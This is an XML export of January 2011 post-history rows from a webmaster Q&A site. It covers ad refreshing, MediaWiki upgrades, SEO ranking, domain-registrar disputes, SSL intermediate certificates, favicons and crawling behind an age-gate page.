  <row Id="17133" PostHistoryTypeId="2" PostId="8012" RevisionGUID="28c0554d-549e-4c6d-a635-00356274c48a" CreationDate="2011-01-21T04:04:04.767" UserId="4756" Text="I'm looking for a solution for DART ad refreshing when user navigate through our Ajax based website. Ideally our ad people would like to avoid iframes, which would give advertisers more options to play with.&#xD;&#xA;&#xD;&#xA;I was able to refresh ads by doing ajax request to the server and then curl request to the dart ad server to get the creative, but it works only for images and not for flash ad units.. &#xD;&#xA;&#xD;&#xA;Is there a way to refresh the the ads in dart for publishers without iframes with support for flash banners? The other problem with iframe is that you need to specify the dimmentions of it, but what if my ad slot supports multiple sizes like 300x250 and 300x600? How to adjust iframe dimentions based on ad size returned in that case?" />
  <row Id="17134" PostHistoryTypeId="1" PostId="8012" RevisionGUID="28c0554d-549e-4c6d-a635-00356274c48a" CreationDate="2011-01-21T04:04:04.767" UserId="4756" Text="AJAX ads refreshing wih dart doubleclick" />
  <row Id="17135" PostHistoryTypeId="3" PostId="8012" RevisionGUID="28c0554d-549e-4c6d-a635-00356274c48a" CreationDate="2011-01-21T04:04:04.767" UserId="4756" Text="&lt;ajax&gt;&lt;iframe&gt;" />
  <row Id="17139" PostHistoryTypeId="25" PostId="8012" RevisionGUID="b5350b8b-2a30-49cc-8f17-e5446f2cdc9b" CreationDate="2011-01-21T04:55:44.923" Comment="http://twitter.com/#!/StackWebmasters/status/28314782117400576" />
  <row Id="17141" PostHistoryTypeId="2" PostId="8014" RevisionGUID="b49b3303-e46d-4fe2-81be-d7992e9d74e8" CreationDate="2011-01-21T05:00:01.353" UserDisplayName="user67656" Text="Dear all I have unguarded MediaWiki:1.9.3 to MediaWiki 1.16.1 in a new server.But the google map  is not showing in the link.Its a blank in that page but in the old server with old version it is working fine.I am not a developer so I have no clue on this.Please let me know anybody have any idea on this. you can have a look on the below links&#xD;&#xA;&#xD;&#xA;http://new.realchicago.org/wiki/index.php/Archer_Heights&#xD;&#xA;&#xD;&#xA;The first link in which the google map is missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17142" PostHistoryTypeId="1" PostId="8014" RevisionGUID="b49b3303-e46d-4fe2-81be-d7992e9d74e8" CreationDate="2011-01-21T05:00:01.353" UserDisplayName="user67656" Text="MediaWiki Google map not showing" />
  <row Id="17143" PostHistoryTypeId="3" PostId="8014" RevisionGUID="b49b3303-e46d-4fe2-81be-d7992e9d74e8" CreationDate="2011-01-21T05:00:01.353" UserDisplayName="user67656" Text="&lt;mediawiki&gt;" />
  <row Id="17144" PostHistoryTypeId="17" PostId="8014" RevisionGUID="a47bb45e-1142-4012-ab25-1505cce2b09e" CreationDate="2011-01-21T05:19:42.967" UserId="-1" Comment="from http://serverfault.com/questions/225018/mediawiki-google-map-not-showing" Text="" />
  <row Id="17145" PostHistoryTypeId="2" PostId="8015" RevisionGUID="95bce8e0-fb46-49f8-9f97-5af400a4261f" CreationDate="2011-01-21T05:55:39.657" UserId="1064" Text="1. Was the extension re-installed with your upgrade?&#xD;&#xA;&#xD;&#xA;2. Can you confirm that the extension you were using is compatible with the version of MediaWiki you are using?&#xD;&#xA;&#xD;&#xA;3. Did you change the `LocalSettings.php` file? (i.e. does the extension rely upon any configuration settings like `$wgRawHTML` ..?)" />
  <row Id="17146" PostHistoryTypeId="2" PostId="8016" RevisionGUID="ce84a252-4c00-403a-946e-66f881a0f748" CreationDate="2011-01-21T06:05:08.167" UserDisplayName="IrfanRaza" Text="Please observe http://www.panbeli.in and http://www.softwaregenius.net&#xD;&#xA;&#xD;&#xA;Why is this site does not get ranked by Google Spider? It has been&#xD;&#xA;grayed in Google Tool Bar for a while. Google has the knowledge of it.&#xD;&#xA;You can search for http://www.panbeli.in and http://www.softwaregenius.net&#xD;&#xA;and you will see the both websites in google search,yahoo search,bing search,&#xD;&#xA;you found that we have lots of backlinks also ,http://www.panbeli.in alexa rank is 695,295&#xD;&#xA;and http://www.softwaregenius.net alexa rank is 994,219.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;we have also created Blogs/News/Classified/google ADsence/press relese etc to increase the&#xD;&#xA;rang for http://www.panbeli.in and http://www.softwaregenius.net websites.&#xD;&#xA;&#xD;&#xA;When i check my SEO statistics using different SEO tools, it shows Google backlink is zero.&#xD;&#xA;&#xD;&#xA;however, Google just does not want to rank it. Can you tell me why?&#xD;&#xA;Why is it penalized? I have tried to do my best to clean it. Your&#xD;&#xA;kind reply is appreciated.&#xD;&#xA;&#xD;&#xA;Thanks and Regards&#xD;&#xA;&#xD;&#xA;Irfan" />
  <row Id="17147" PostHistoryTypeId="1" PostId="8016" RevisionGUID="ce84a252-4c00-403a-946e-66f881a0f748" CreationDate="2011-01-21T06:05:08.167" UserDisplayName="IrfanRaza" Text="Why Google not ranking my websites..?" />
  <row Id="17148" PostHistoryTypeId="3" PostId="8016" RevisionGUID="ce84a252-4c00-403a-946e-66f881a0f748" CreationDate="2011-01-21T06:05:08.167" UserDisplayName="IrfanRaza" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;google-ranking&gt;&lt;google-index&gt;" />
  <row Id="17149" PostHistoryTypeId="17" PostId="8016" RevisionGUID="30a19ca3-c084-4148-90ad-fbd7fec8517c" CreationDate="2011-01-21T06:10:22.940" UserId="-1" Comment="from http://stackoverflow.com/questions/4755896/why-google-not-ranking-my-websites" Text="" />
  <row Id="17151" PostHistoryTypeId="2" PostId="8017" RevisionGUID="e17c62c9-684a-4e62-b391-795f7436c8bc" CreationDate="2011-01-21T06:28:12.473" UserId="3707" Text="Anybody know how these are made. I see them a lot, mostly web designers have them. Are they hand made in psd or illustrator or is there a web service that converts real photos?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Gu5nv.png" />
  <row Id="17152" PostHistoryTypeId="1" PostId="8017" RevisionGUID="e17c62c9-684a-4e62-b391-795f7436c8bc" CreationDate="2011-01-21T06:28:12.473" UserId="3707" Text="web designers icon avatars?" />
  <row Id="17153" PostHistoryTypeId="3" PostId="8017" RevisionGUID="e17c62c9-684a-4e62-b391-795f7436c8bc" CreationDate="2011-01-21T06:28:12.473" UserId="3707" Text="&lt;graphics&gt;" />
  <row Id="17154" PostHistoryTypeId="2" PostId="8018" RevisionGUID="78f32b90-8e73-4a26-bff4-6e64b59cce03" CreationDate="2011-01-21T06:50:20.990" UserId="1034" Text="A friend of mine is in the process of being scammed by a domain registrar and I am trying to sort out the mess. However I could use a hand understanding some of the details.&#xD;&#xA;&#xD;&#xA;He paid for 2 years of domain name registration on 6 november 2009.&#xD;&#xA;&#xD;&#xA;The whois record reads:&#xD;&#xA;&#xD;&#xA;    Domain ID:XXXXXXXXXX&#xD;&#xA;    Domain Name:XXXXXXXXX.ORG&#xD;&#xA;    Created On:06-Nov-2009 09:23:12 UTC&#xD;&#xA;    Last Updated On:17-Dec-2010 00:15:10 UTC&#xD;&#xA;    Expiration Date:06-Nov-2011 09:23:12 UTC&#xD;&#xA;    Sponsoring Registrar:OnlineNIC Inc. (R64-LROR)&#xD;&#xA;    Status:CLIENT TRANSFER PROHIBITED&#xD;&#xA;    Status:HOLD&#xD;&#xA;    Status:PENDING DELETE SCHEDULED FOR RELEASE&#xD;&#xA;    Registrant ID:ONLC-XXXXXXX-X&#xD;&#xA;    Registrant Name:My friend's name&#xD;&#xA;    ...&#xD;&#xA;    Registrant Email:Old email&#xD;&#xA;&#xD;&#xA;The registrar charged a renewal fee a week ago and is now asking an extra $150 to &quot;reclaim&quot; the domain name, even though the domain name is apparently still in my friend's name and it looks like there is still another 10 months before the expiry date. &#xD;&#xA;&#xD;&#xA;The expiration date on the WhoIs record looks right (Nov 2011), so I don't understand why the domain status says &quot;PENDING DELETE SCHEDULED FOR RELEASE&quot;. &#xD;&#xA;&#xD;&#xA;Can someone explain me better what the deal is and explain what I need to do get the domain name transfered to a more honest registrar? I already have a registrar for my own domain names, been using them for 10 years without problems, so I know where to transfer the domain names to, I just don't know how to proceed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17155" PostHistoryTypeId="1" PostId="8018" RevisionGUID="78f32b90-8e73-4a26-bff4-6e64b59cce03" CreationDate="2011-01-21T06:50:20.990" UserId="1034" Text="Whois status &quot;pending delete&quot; with expiration date in November 2011???" />
  <row Id="17156" PostHistoryTypeId="3" PostId="8018" RevisionGUID="78f32b90-8e73-4a26-bff4-6e64b59cce03" CreationDate="2011-01-21T06:50:20.990" UserId="1034" Text="&lt;domain-names&gt;&lt;registrar&gt;" />
  <row Id="17157" PostHistoryTypeId="2" PostId="8019" RevisionGUID="f6035bba-ab40-431f-b0eb-c1d6b49f3ed3" CreationDate="2011-01-20T22:54:38.057" UserDisplayName="Lucka " Text="I have placed the facebook &quot;like&quot; and some other social bookmarking websites link on my blog, such as google buzz, digg, twitter etc.I  just noticed that it takes a while to load my blog page as it need to load the data from the social networking sites (such as number of likes etc). Is there any way to place the links efficiently so that first my blog data loads, and meanwhile it loads data from these websites (it should not hang my blog page while waiting the data from external sites.&#xD;&#xA;Thanks. " />
  <row Id="17158" PostHistoryTypeId="1" PostId="8019" RevisionGUID="f6035bba-ab40-431f-b0eb-c1d6b49f3ed3" CreationDate="2011-01-20T22:54:38.057" UserDisplayName="Lucka " Text="efficient way to place social sharing links to blog?" />
  <row Id="17159" PostHistoryTypeId="3" PostId="8019" RevisionGUID="f6035bba-ab40-431f-b0eb-c1d6b49f3ed3" CreationDate="2011-01-20T22:54:38.057" UserDisplayName="Lucka " Text="&lt;social&gt;" />
  <row Id="17160" PostHistoryTypeId="17" PostId="8019" RevisionGUID="d38fb372-df32-4b49-b2f5-09c256467607" CreationDate="2011-01-21T07:38:29.780" UserId="-1" Comment="from http://stackoverflow.com/questions/4753602/efficient-way-to-place-social-sharing-links-to-blog" Text="" />
  <row Id="17161" PostHistoryTypeId="5" PostId="8019" RevisionGUID="9421860c-2954-4406-98c4-a7fb7b3b218c" CreationDate="2011-01-21T07:40:21.567" UserId="3" Comment="added 28 characters in body; edited tags; edited title" Text="I have placed the facebook &quot;like&quot; and some other social bookmarking websites link on my blog, such as Google Buzz, Digg, Twitter, etc.&#xD;&#xA;&#xD;&#xA;I  just noticed that it takes a while to load my blog page as it need to load the data from the social networking sites (such as number of likes etc).&#xD;&#xA;&#xD;&#xA;How can I place the links efficiently so that first my blog content loads, and meanwhile it loads data from these websites -- in other words, these sharing widgets should not hang my blog page while waiting for data from external sites?" />
  <row Id="17162" PostHistoryTypeId="4" PostId="8019" RevisionGUID="9421860c-2954-4406-98c4-a7fb7b3b218c" CreationDate="2011-01-21T07:40:21.567" UserId="3" Comment="added 28 characters in body; edited tags; edited title" Text="Optimizing perceived load time for social sharing widgets on a page?" />
  <row Id="17163" PostHistoryTypeId="6" PostId="8019" RevisionGUID="9421860c-2954-4406-98c4-a7fb7b3b218c" CreationDate="2011-01-21T07:40:21.567" UserId="3" Comment="added 28 characters in body; edited tags; edited title" Text="&lt;load-time&gt;&lt;social&gt;" />
  <row Id="17164" PostHistoryTypeId="6" PostId="8019" RevisionGUID="d77259b1-0fb4-4897-a4fc-a48799026ce9" CreationDate="2011-01-21T07:40:45.030" UserId="3" Comment="edited tags" Text="&lt;javascript&gt;&lt;load-time&gt;" />
  <row Id="17165" PostHistoryTypeId="25" PostId="8018" RevisionGUID="99349448-f66a-4548-a914-a9701093bfa1" CreationDate="2011-01-21T07:55:44.997" Comment="http://twitter.com/#!/StackWebmasters/status/28360081183604736" />
  <row Id="17166" PostHistoryTypeId="2" PostId="8020" RevisionGUID="1b03c1f1-d940-4ca1-af05-1e7d87ed3884" CreationDate="2011-01-21T08:31:19.553" UserId="798" Text="You could add some javascript to execute on document ready to inject the code you need. If you have placeholders for your widgets, then you can start filling them after your page has loaded." />
  <row Id="17170" PostHistoryTypeId="2" PostId="8022" RevisionGUID="c3eaa7ec-8b41-4eed-9f87-9b4652dc3250" CreationDate="2011-01-21T08:45:58.427" UserId="4365" Text="I received an SSL certificate from GoDaddy yesterday and [their instructions][1] to install the certificate seemed weird. To be precise, they asked me to disable their root certificate in server.&#xD;&#xA;&#xD;&#xA;&gt; NOTE: If the Go Daddy® Class 2 Certification Authority root certificate is currently installed on your machine, you need to disable it from the Trusted Root Certification Authorities folder.&#xD;&#xA;&#xD;&#xA;What do I need to disable the root certificate?&#xD;&#xA;&#xD;&#xA;Another question: they asked me to put intermediate certificates on the server. I can sure do that on **server** but my **clients** might not have them. Does it matter?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/help/article/4801" />
  <row Id="17171" PostHistoryTypeId="1" PostId="8022" RevisionGUID="c3eaa7ec-8b41-4eed-9f87-9b4652dc3250" CreationDate="2011-01-21T08:45:58.427" UserId="4365" Text="Why does my certificate provider ask me to disable its root certificate?" />
  <row Id="17172" PostHistoryTypeId="3" PostId="8022" RevisionGUID="c3eaa7ec-8b41-4eed-9f87-9b4652dc3250" CreationDate="2011-01-21T08:45:58.427" UserId="4365" Text="&lt;security&gt;&lt;ssl-certificate&gt;" />
  <row Id="17174" PostHistoryTypeId="2" PostId="8023" RevisionGUID="895cbe73-b9a6-4cc7-9ed6-fcc3c31f50e3" CreationDate="2011-01-21T09:06:13.900" UserDisplayName="w4j3" Text="I was reading through &quot;best web programming books&quot; articles, and I saw the book &quot;content strategy for the web&quot;&#xD;&#xA;&#xD;&#xA;So, what is a similar (or better, please specify if it's better) book? or maybe even a website/article..." />
  <row Id="17175" PostHistoryTypeId="1" PostId="8023" RevisionGUID="895cbe73-b9a6-4cc7-9ed6-fcc3c31f50e3" CreationDate="2011-01-21T09:06:13.900" UserDisplayName="w4j3" Text="best  web content books/websites/articles ?" />
  <row Id="17176" PostHistoryTypeId="3" PostId="8023" RevisionGUID="895cbe73-b9a6-4cc7-9ed6-fcc3c31f50e3" CreationDate="2011-01-21T09:06:13.900" UserDisplayName="w4j3" Text="&lt;web&gt;" />
  <row Id="17177" PostHistoryTypeId="4" PostId="7781" RevisionGUID="f3c173f1-494e-4f8b-bbfd-20bbf1d37612" CreationDate="2011-01-21T09:11:51.707" UserId="4643" Comment="edited title" Text="Has anybody earned $0.25+ from each of a captcha (on your website) passing?  " />
  <row Id="17179" PostHistoryTypeId="2" PostId="8024" RevisionGUID="c21d9f71-6b99-417e-b50b-7a9c298812c5" CreationDate="2011-01-21T09:27:32.520" UserId="4311" Text="I can answer your second question: The clients will get the intermediate certificates from your server (assuming you install them properly), so they **will** be able to use them to authenticate your SSL certificate against the root certificate." />
  <row Id="17181" PostHistoryTypeId="2" PostId="8025" RevisionGUID="22f0e2ff-2db1-471e-ab96-fa00b0bac19c" CreationDate="2011-01-21T09:39:09.823" UserId="1089" Text="I'll point to John C's answer here: http://webmasters.stackexchange.com/questions/3714/how-long-does-it-take-for-a-page-to-be-assigned-google-page-rank&#xD;&#xA;&#xD;&#xA;&gt; Public PR is updated only periodically so whatever PR you see via reporting tools is a snapshot of the past. It does not reflect a page's current PR.&#xD;&#xA;&#xD;&#xA;So to paraphrase - don't worry if google toolbar doesn't show a page ranking, as it isn't a real time reflection of your pagerank.&#xD;&#xA;&#xD;&#xA;Open a webmasters tools account with google if you don't have one already, if anything is wrong with your site google will let you know here.&#xD;&#xA;&#xD;&#xA;Just a friendly pointer - [http://softwaregenius.net][1] took quite a long time to load up (almost 10 seconds), it might be worth looking at the number of scripts you use or the nesting of tables for layout.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://softwaregenius.net" />
  <row Id="17182" PostHistoryTypeId="2" PostId="8026" RevisionGUID="d9fb9245-406d-466d-b761-e37d2d77aad6" CreationDate="2011-01-21T09:59:14.607" UserDisplayName="user4764" Text="I have been a user of Google Analytics for over 2 years and like to think I am adept at using it but this issue has really thrown me.&#xD;&#xA;&#xD;&#xA;I have a Goal set up which appears to be working on first looking at the overview. It gives me 42 Goal Conversions, but when I go in to look at the Goal Funnel Visualization it states 0 visitors finished.&#xD;&#xA;&#xD;&#xA;What is happening here? Any advice much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="17183" PostHistoryTypeId="1" PostId="8026" RevisionGUID="d9fb9245-406d-466d-b761-e37d2d77aad6" CreationDate="2011-01-21T09:59:14.607" UserDisplayName="user4764" Text="Google Analytics Goal funnel not working" />
  <row Id="17184" PostHistoryTypeId="3" PostId="8026" RevisionGUID="d9fb9245-406d-466d-b761-e37d2d77aad6" CreationDate="2011-01-21T09:59:14.607" UserDisplayName="user4764" Text="&lt;google&gt;&lt;analytics&gt;&lt;goals&gt;&lt;goal-tracking&gt;" />
  <row Id="17186" PostHistoryTypeId="25" PostId="8023" RevisionGUID="d7e0e209-c784-4e04-9076-7ae1fdf6f2ab" CreationDate="2011-01-21T10:55:44.877" Comment="http://twitter.com/#!/StackWebmasters/status/28405379054440450" />
  <row Id="17187" PostHistoryTypeId="17" PostId="8029" RevisionGUID="4ae3e49b-9788-4734-ae9c-c1ba1542859b" CreationDate="2011-01-21T11:48:12.810" UserId="-1" Comment="from http://superuser.com/questions/235987/suggestions-for-a-live-chat-software-on-websites-for-customer-support/236012#236012" Text="" />
  <row Id="17188" PostHistoryTypeId="2" PostId="8029" RevisionGUID="7cca014a-a5df-4ab0-81e7-95d4aa54dba5" CreationDate="2011-01-21T10:13:18.420" UserDisplayName="admintech" Text="http://solutions.liveperson.com is the best i have experienced. Cost is hard to say as they work to a budget so can be lower or higher.&#xD;&#xA;&#xD;&#xA;Can see a demo on their site, and they tick all the above required fields" />
  <row Id="17189" PostHistoryTypeId="2" PostId="8028" RevisionGUID="9c694349-83e3-40d1-bb60-7b141af6fc76" CreationDate="2011-01-21T08:38:35.990" UserId="4024" Text="Recommendations needed.&#xD;&#xA;&#xD;&#xA;We want to get in touch with customers via live chat. &#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;- chat window customisable to mingle with website theme (colors etc)&#xD;&#xA;- preferably the window should be within webpage and not only pop-out/popup.&#xD;&#xA;- ease of use by customer&#xD;&#xA;- minimally intrusive&#xD;&#xA;- should have triggers/Alerts to backend side. for ex: user is unable to fill-up signup form or something, we should be able to offer help to user and this chat window automatically shows to user.&#xD;&#xA;&#xD;&#xA;What is the cost ?" />
  <row Id="17190" PostHistoryTypeId="1" PostId="8028" RevisionGUID="9c694349-83e3-40d1-bb60-7b141af6fc76" CreationDate="2011-01-21T08:38:35.990" UserId="4024" Text="Suggestions for a Live chat software on websites for customer support ?" />
  <row Id="17191" PostHistoryTypeId="3" PostId="8028" RevisionGUID="9c694349-83e3-40d1-bb60-7b141af6fc76" CreationDate="2011-01-21T08:38:35.990" UserId="4024" Text="&lt;chat&gt;&lt;customer-service&gt;" />
  <row Id="17192" PostHistoryTypeId="17" PostId="8028" RevisionGUID="4a93477e-8137-4558-88a6-5c0feb585ecb" CreationDate="2011-01-21T11:48:12.810" UserId="-1" Comment="from http://superuser.com/questions/235987/suggestions-for-a-live-chat-software-on-websites-for-customer-support" Text="" />
  <row Id="17193" PostHistoryTypeId="2" PostId="8030" RevisionGUID="2a90e7b7-aae1-41be-be6b-8112d528766c" CreationDate="2011-01-21T12:35:28.597" UserDisplayName="Rui Santos" Text="Can anyone help me breaking this code:&#xD;&#xA;&#xD;&#xA;[Table Layout - Gradient Panel][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Into a Tabless layout using only divs?&#xD;&#xA;&#xD;&#xA;The main purpose is to make the content area width and height fluid and keep the design.&#xD;&#xA;&#xD;&#xA;Maybe I'll have to redo the slices ?&#xD;&#xA;&#xD;&#xA;I'm open for opinions, I'll appreciate the help.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.madeira-edu.pt/Portals/7/a/gradient.htm" />
  <row Id="17194" PostHistoryTypeId="1" PostId="8030" RevisionGUID="2a90e7b7-aae1-41be-be6b-8112d528766c" CreationDate="2011-01-21T12:35:28.597" UserDisplayName="Rui Santos" Text="Break Table cells design into Tabless Layout" />
  <row Id="17195" PostHistoryTypeId="3" PostId="8030" RevisionGUID="2a90e7b7-aae1-41be-be6b-8112d528766c" CreationDate="2011-01-21T12:35:28.597" UserDisplayName="Rui Santos" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="17196" PostHistoryTypeId="10" PostId="8030" RevisionGUID="81035564-dcad-4273-a164-90bed93d6ab8" CreationDate="2011-01-21T12:42:58.940" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17197" PostHistoryTypeId="16" PostId="8023" RevisionGUID="fc3ce51a-4e62-4400-b12d-3da28dba2baa" CreationDate="2011-01-21T12:44:39.890" UserId="1253" />
  <row Id="17199" PostHistoryTypeId="25" PostId="8030" RevisionGUID="741101ad-be9a-4478-a95f-b9cbee9288f8" CreationDate="2011-01-21T13:55:44.770" Comment="http://twitter.com/#!/StackWebmasters/status/28450677009154049" />
  <row Id="17200" PostHistoryTypeId="2" PostId="8031" RevisionGUID="64eabf8c-b025-4f99-b992-f80a9f2692d6" CreationDate="2011-01-21T14:04:36.073" UserId="4768" Text="I installed smf forum in subfolder on hosted server under my domain. Later on, I occupied new domain, added it to my nameservers and pointed to that folder thru cpanel.&#xD;&#xA;&#xD;&#xA;Index works well, link to forum works well, but deeper level links, boards, topics, profiles, login, etc, do not. Not that they don't work per se, but link is not under new domain, and thus user gets loged out when entering site thru new domain address, and gets back to old address once logged in, and similar problems.&#xD;&#xA;&#xD;&#xA;What should I do to fix all of the links? I'm guessing that this is because forum is installed before new domain is added on, and links are fixed to old domain. Is there another solution beside backing up and installing everything from scratch?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="17201" PostHistoryTypeId="1" PostId="8031" RevisionGUID="64eabf8c-b025-4f99-b992-f80a9f2692d6" CreationDate="2011-01-21T14:04:36.073" UserId="4768" Text="How to fix every link under new added domain?" />
  <row Id="17202" PostHistoryTypeId="3" PostId="8031" RevisionGUID="64eabf8c-b025-4f99-b992-f80a9f2692d6" CreationDate="2011-01-21T14:04:36.073" UserId="4768" Text="&lt;domains&gt;&lt;sitelinks&gt;" />
  <row Id="17203" PostHistoryTypeId="2" PostId="8032" RevisionGUID="fe1929f5-263f-47fd-a9d0-18a6b5941ab6" CreationDate="2011-01-21T14:07:36.480" UserId="1240" Text="I can't find anywhere on the net to buy them." />
  <row Id="17204" PostHistoryTypeId="1" PostId="8032" RevisionGUID="fe1929f5-263f-47fd-a9d0-18a6b5941ab6" CreationDate="2011-01-21T14:07:36.480" UserId="1240" Text="How can I buy a .by domain name." />
  <row Id="17205" PostHistoryTypeId="3" PostId="8032" RevisionGUID="fe1929f5-263f-47fd-a9d0-18a6b5941ab6" CreationDate="2011-01-21T14:07:36.480" UserId="1240" Text="&lt;domain-registration&gt;" />
  <row Id="17206" PostHistoryTypeId="2" PostId="8033" RevisionGUID="56f66215-9150-4dd5-ac99-02507c3cc540" CreationDate="2011-01-21T14:23:52.713" UserDisplayName="JP19" Text="Not sure if they are the cheapest or most reliable: http://www.101domain.com/by.htm&#xD;&#xA;&#xD;&#xA;Also, try http://www.google.com/search?q=buy+belarusian+domain&#xD;&#xA;&#xD;&#xA;By the way (pun unintended), do ensure that you satisfy the registrant requirements. Some countries require that you have a physical presence in the country (residence, office etc) to register domains with their extension." />
  <row Id="17208" PostHistoryTypeId="2" PostId="8034" RevisionGUID="c6c9c067-935f-4fbe-846f-55da1b4ffd42" CreationDate="2011-01-21T14:42:53.533" UserId="2293" Text="I got a mission and asking for some help with this scenario for a new website.&#xD;&#xA;&#xD;&#xA;The site is an adult escorts advertising service. It is developed fine, works and looks good, but the issue is with crawlability.&#xD;&#xA;&#xD;&#xA;Google webmaster tools index the same content for everypage. Let me explain further.&#xD;&#xA;&#xD;&#xA;If any client try to access any page the website show a default agreement/warning page. If client clicks &quot;proceed&quot; a session variable is set and client is redirected (302) to original page back.&#xD;&#xA;&#xD;&#xA;If client says &quot;no&quot;, then he is redirected for another website (google, wikipedia, news portals...).&#xD;&#xA;&#xD;&#xA;Well, this is a safe process, but causes the crawlability issue I told. So, any lights upon this? How make the after agreement content be correctly crawled and indexed?" />
  <row Id="17209" PostHistoryTypeId="1" PostId="8034" RevisionGUID="c6c9c067-935f-4fbe-846f-55da1b4ffd42" CreationDate="2011-01-21T14:42:53.533" UserId="2293" Text="Adult website crawlability issue" />
  <row Id="17210" PostHistoryTypeId="3" PostId="8034" RevisionGUID="c6c9c067-935f-4fbe-846f-55da1b4ffd42" CreationDate="2011-01-21T14:42:53.533" UserId="2293" Text="&lt;seo&gt;&lt;redirects&gt;&lt;crawling&gt;&lt;adult-content&gt;" />
  <row Id="17211" PostHistoryTypeId="2" PostId="8035" RevisionGUID="5ec6e654-b318-4de0-971a-6b1abccd3e5d" CreationDate="2011-01-21T14:51:28.470" UserId="1757" Text="Not related to content strategy so much as how to write for the web, but *[Letting Go of the Words: Writing Web Content that Works][1]* by Janice Redish (forward by Steve Krug) is pretty highly recommended. I haven't read the book you mentioned, so I dunno if it's better.&#xD;&#xA;&#xD;&#xA;And I personally haven't read these, but a quick search on Amazon came up with these 2 titles with very high user review ratings:&#xD;&#xA;&#xD;&#xA; - *[The Web Content Strategist's Bible: The Complete Guide to a New and&#xD;&#xA;   Lucrative Career for Writers of All&#xD;&#xA;   Kinds][3]* - Richard Sheffield&#xD;&#xA; - *[The Yahoo! Style Guide: The Ultimate Sourcebook for Writing, Editing, and Creating Content for the Digital World][4]* - Chris Barr&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Letting-Go-Words-Interactive-Technologies/dp/0123694868/ref=sr_1_3?ie=UTF8&amp;qid=1295620943&amp;sr=8-3&#xD;&#xA;  [2]: http://www.amazon.com/Content-Strategy-Web-Kristina-Halvorson/dp/0321620062/ref=sr_1_1?ie=UTF8&amp;qid=1295620943&amp;sr=8-1&#xD;&#xA;  [3]: http://www.amazon.com/Web-Content-Strategists-Bible-Lucrative/dp/1441482628/ref=sr_1_2?ie=UTF8&amp;qid=1295620943&amp;sr=8-2&#xD;&#xA;  [4]: http://www.amazon.com/Yahoo-Style-Guide-Ultimate-Sourcebook/dp/031256984X/ref=reg_hu-rd_add_1_dp_T2" />
  <row Id="17212" PostHistoryTypeId="2" PostId="8036" RevisionGUID="fadff561-6dc8-4fe3-b1f4-2d295917bfb9" CreationDate="2011-01-21T14:53:09.390" UserDisplayName="Christopher" Text="Most forum packages (PHPBB, SMF, etc.) have an option to change the domain name inside of the administration panel. I don't have SMF running right now, but I remember seeing something of the sort inside of the admin panel.&#xD;&#xA;&#xD;&#xA;You could also simply have a JavaScript redirect page as forum.yourdomain.com that leads to your old domain.&#xD;&#xA;&#xD;&#xA;Or, the least savory of all solutions, go into the code and edit the commands yourself. However, since you're using SMF, I'm going to assume that you aren't a PHP savant.&#xD;&#xA;&#xD;&#xA;Other than those listed, I don't know of a great solution." />
  <row Id="17213" PostHistoryTypeId="5" PostId="8023" RevisionGUID="639e2f48-9de4-41ef-a096-ebcf0e5618f9" CreationDate="2011-01-21T14:57:22.533" UserId="1757" Comment="add a link to the book to help Jeff out; edited tags" Text="I was reading through &quot;best web programming books&quot; articles, and I saw the book [Content Strategy for the Web][1] by Kristina Halvorson.&#xD;&#xA;&#xD;&#xA;So, what is a similar (or better, please specify if it's better) book? Or maybe even a website/article...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Content-Strategy-Web-Kristina-Halvorson/dp/0321620062/ref=sr_1_1?ie=UTF8&amp;qid=1295620943&amp;sr=8-1" />
  <row Id="17214" PostHistoryTypeId="2" PostId="8037" RevisionGUID="1b2fbaff-8d01-4a0a-b695-beead482e3ce" CreationDate="2011-01-21T14:57:57.667" UserId="1253" Text="Search engines don't generally follow forms like links so in effect you're blocking your content from them. Try using an XML sitemap and submitting internal pages to them directly. I'd submit an HTML sitemap to them as they can use that to discover other internal links." />
  <row Id="17215" PostHistoryTypeId="6" PostId="8023" RevisionGUID="639e2f48-9de4-41ef-a096-ebcf0e5618f9" CreationDate="2011-01-21T14:57:22.533" UserId="1757" Comment="add a link to the book to help Jeff out; edited tags" Text="&lt;content&gt;&lt;web&gt;&lt;recommendations&gt;&lt;books&gt;&lt;writing&gt;" />
  <row Id="17216" PostHistoryTypeId="2" PostId="8038" RevisionGUID="b5d8a222-1696-47d3-8e42-061c7da6f973" CreationDate="2011-01-21T15:07:13.377" UserDisplayName="Christopher" Text="http://www.photoshopsupport.com/tutorials/jennifer/favicon.html&#xD;&#xA;&#xD;&#xA;Summary:&#xD;&#xA;&#xD;&#xA;Photoshop + Photoshop Plugin + Save As... Favicon.ico + File Type 'Windows Icon' = your icon works.&#xD;&#xA;&#xD;&#xA;Put in the same directory as your main page and put the following HTML inside the head:&#xD;&#xA;&#xD;&#xA;&lt;link rel=&quot;Shortcut Icon&quot; href=&quot;ADDRESS TO YOUR .ICO FILE&quot;&gt;&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Skip all of that and use a .gif or .png (Won't work in IE), and put the following HTML inside of the head:&#xD;&#xA;&#xD;&#xA;&lt;link rel=&quot;icon&quot; href=&quot;/favicon.png&quot; type=&quot;image/png&quot;&gt; or&#xD;&#xA;&lt;link rel=&quot;icon&quot; href=&quot;/favicon.gif&quot; type=&quot;image/gif&quot;&gt; " />
  <row Id="17217" PostHistoryTypeId="2" PostId="8039" RevisionGUID="6ef8c45e-f1f0-4329-aa36-a174eff88241" CreationDate="2011-01-21T15:22:49.730" UserId="3310" Text="Change your script to not show the agreement for the googlebot user agent." />
